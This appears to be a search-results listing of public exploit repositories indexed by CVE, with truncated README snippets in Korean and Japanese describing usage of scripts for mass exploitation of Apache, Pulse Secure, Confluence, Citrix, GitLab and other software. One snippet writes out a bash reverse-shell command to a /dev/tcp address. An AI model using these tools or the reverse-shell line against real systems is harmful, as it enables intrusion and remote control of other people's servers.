634 matches found
CVE-2019-16278-PoC
CVE-2019-16728-PoC CVE-2019-16728 참고 https://git.sp0re.sh/sp0re/Nhttpd-exploits/src/branch/master/CVE-2019-16278.sh...
CVE-2014-6287
CVE-2014-6287 python3 스크립트 사용법: 1. nc.exe를 호스팅하는 로컬 smb 서비스를 시작합니다. 2. getshell을 위해 익스플로잇 스크립트를 실행합니다...
CVE-2023-22515
CVE-2023-22515 익스플로잇 스크립트 영향을 받는 버전 8.0.0=Atlassian Confluence=8.5.1 취약점 악용 python3 CVE-2023-22515.py -h usage: confluence.py -h -url URL optional arguments: -h, --help show this help message and exit -url URL url：http://xx.xx.xx.xx...
CVE-2020-14882_POC
CVE-2020-14882 일괄 검증 사용 python3 CVE-2020-14882.py 대상을 target.txt에 넣으세요, 한 줄에 하나씩 예시...
CVE-2023-3163-SQL-Injection-Prevention
CVE-2023-3163-SQL-Injection-Prevention Oracle の SQL Developer が SQL インジェクション CVE-2023-3163 に対して脆弱かどうかを確認するための、シンプルで迅速な方法です。最も一般的には、SQL Developer のバージョンが 23.1.0 の場合に発生します。 CVE-2023-21969 エクスプロイト - SQL Developer 脆弱性チェック 説明 このリポジトリには、23.1.0 より前の SQL Developer バージョンで見つかった脆弱性である CVE-2023-21969...
pulse-exploit
pulsexploit Pulse Secure SSL VPN 취약점 CVE-2019-11510을 자동으로 익스플로잇하는 스크립트로, Shodan API에서 검색된 호스트를 사용합니다. 이 스크립트를 사용하려면 Shodan 계정이 필요합니다. Shodan 계정이 없는 경우 여기를 클릭하세요. 설치 1. 의존성 설치. CentOS & Fedora yum install git python3 -y Ubuntu & Debian apt install git python3 python3-pip -y FreeBSD pkg install -y...
RDP_jammer
RDPjammer metasploit과 BASH를 사용한 CVE-2012-0152 익스플로잇 사용법 : Script.sh...
edb-49263-fixed
edb-49263-fixed - GitLab 11.4.7 - 인증된 원격 코드 실행 CVE-2018-19571 및 CVE-2018-19585GitLab 11.4.7 - 인증된 원격 코드 실행를 악용하기 위한 Python 스크립트의 수정 버전으로, https://www.exploit-db.com/exploits/49263Python 3.9에서 확인할 수 있습니다. 사용법 스크립트를 편집하여 대상 주소를 실제 대상 주소로 교체하십시오. 또한 다음 사항을 명심해야 합니다. 1. 대상 GitLab 인스턴스에서 유효한 사용자 계정을...
CVE-2019-16278-Nostromo_1.9.6-RCE
CVE-2019-16278 - Nostromo 1.9.6 RCE Nostromo nhttpd = 1.9.6 におけるRCEを悪用するPythonスクリプト。 ヘルプ usage: CVE-2019-16278.py -h -t TARGET -p PORT -c COMMAND -b BYTES CVE-2019-16278 - Nostromo 1.9.6 RCE のエクスプロイト optional arguments: -h, --help このヘルプメッセージを表示して終了 -t TARGET, --target TARGET 対象のリモートホスト -p PORT,...
CVE-2021-41773
ApacheRCE ApacheRCE는 아파치 버전 2.4.49-2.4.50을 입력한 다음 텍스트 파일에서 IP 주소 목록을 입력하여 대량으로 익스플로잇을 실행할 수 있게 해주는 작은 파이썬 스크립트입니다. 여러 웹사이트를 운영 중이고 모두 익스플로잇이 가능한지 확인하려는 경우 유용할 수 있습니다. 면책 조항: 다행히도 이 스크립트는 아파치 서버에서 CGI가 활성화된 경우에만 작동하므로 상당수의 서버는 익스플로잇할 수 없습니다. 현재 11/11/21 기준으로 fofa는 이 버전들을 결합하여 실행 중인 서버가 145k개 이상이라고...
CVE-2023-4966
CVE-2023-4966 익스플로잇 스크립트 CVE-2023-4966 - NetScaler ADC 및 NetScaler Gateway 메모리 누수 익스플로잇 사용법: usage: python banner.py optional arguments: -h, --help show this help message and exit --target TARGET The Citrix ADC / Gateway target, excluding the protocol e.g. 192.168.1.200...
CVE-2022-22963
CVE-2022-22963 CVE-2022-22963 을 이용한 원격 코드 실행으로 Spring Cloud 서비스를 공격합니다. 면책사항: 이 프로그램은 교육 목적으로만 제공됩니다. 작성자는 이 프로그램 사용에 대한 책임을 지지 않습니다. 사용에 따른 모든 위험은 사용자 본인에게 있습니다. 사용법 ./CVE-2022-22963 -h Usage: CVE-2022-22963 OPTIONS Application Options: -u, --target-url= Target/Host url where 'Spring Cloud' is...
CVE-2017-0290-
CVE-2017-0290- 안녕하세요, 저는 리비아 출신 Gihad Alkmaty입니다. CVE-2017-0290- 스크립트 전문가가 Windows Defender를 무력화합니다. windows/8.1/10/...
Apache-Struts-v4
Apache-Struts-v4 이 스크립트는 Apache Struts에서 RCE 유형의 취약점을 악용하는 5가지 서로 다른 취약점을 포함합니다. 현재로서는 PHP 셸을 생성하는 기능만 포함되어 있습니다. CVE 추가 CVE ID| 설명 ---|--- CVE-2013-2251| Apache Struts 2.0.0부터 2.3.15까지는 원격 공격자가 조작된 1 action:, 2 redirect:, 3 redirectAction: 접두사가 있는 매개변수를 통해 임의의 OGNL 표현식을 실행할 수 있습니다. CVE-2017-5638...
log4j2_dos_exploit
설명 about author: 我超怕的 blog: https://www.cnblogs.com/iAmSoScArEd/ github: https://github.com/iAmSOScArEd/ date: 2021-12-20 log4j2 dos exploit log4j2 dos 취약점 악용 스크립트 CVE-2021-45105 Exploit CVE-2021-45105 악용 스크립트 사용 방법 how to use English： Log4j2dos.py -u -m -d -H -l -t -u,--url attack target...
CVE-2018-7935
CVE-2018-7935 POC 유효한 세션 먼저 가져오기 curl http://192.168.8.1/html/index.html | grep SessionID 지침: exploit.py를 편집하고, 획득한 SessionID를 삽입하십시오. 취약점 상태: 승인 접수 & 패치 출시됨...
CVE-2023-30190-FOLLINA
CVE-2023-30190-EXPLOIT.py...
CVE-2019-16113
CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 인증 RCE 사용법 python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" 예제...
cve-2017-9805.py
CVE-2017-9805.py 1. CVE 2017 9805 Apache Struts를 위한 더 나은 익스플로잇 코드 2. 대부분 오류가 없어야 합니다. 왜 다시 만들었나? 온라인에 있는 대부분의 익스플로잇 코드는 단순히 문자열 연결을 사용하여 사용자가 제공한 명령을 XML 문자열에 삽입한다는 것을 알았습니다. XML은 특수 문자에 인코딩이 필요하기 때문에 이 방식은 매우 신뢰할 수 없습니다. 따라서 이러한 스크립트가 이를 고려하지 않기 때문에 오류가 발생합니다. 또한 적절히 인코딩된 XML은 명령 실행에 문제를 일으킬 수...